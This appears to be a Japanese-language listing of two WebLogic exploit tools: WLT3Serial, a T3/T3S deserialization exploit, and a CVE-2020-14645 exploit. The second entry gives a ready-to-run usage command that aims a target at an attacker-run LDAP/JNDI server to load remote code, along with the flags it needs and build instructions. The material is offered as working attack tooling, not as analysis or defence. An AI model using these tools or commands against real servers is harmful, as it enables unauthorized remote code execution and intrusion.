WLT3Serial

WLT3Serial WebLogic T3 および T3S リスナー向けのネイティブ Java ベースのデシリアライゼーションエクスプロイト（こちら に依存しており、これは Oracle のライセンス条件により 私が配布できず、Oracle のユーザー名/パスワードでのみダウンロードできます。そのため、私は「シン」リリース jar のみを配布でき、ユーザーは引き続き Oracle から必要な wlthint3client.jar ファイルを入手する必要があります。 JVM が初期化中にクラスをロードする方法に関する問題のため、フルオールインワン実行可能 WLT3Serial jar...

CVE-2020-14645

CVE-2020-14645 使い方 まず NDI-Injection-Exploit を使用してリッスンし、LDAP アドレスを生成します。 java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget と -RMI は必須です。HTTPS では --SSL パラメータを使用可能です。-Port のデフォルトは 7001 です。 自分でコンパイルする場合は、coherence.jar と wlfullclient.jar を追加する必要があります...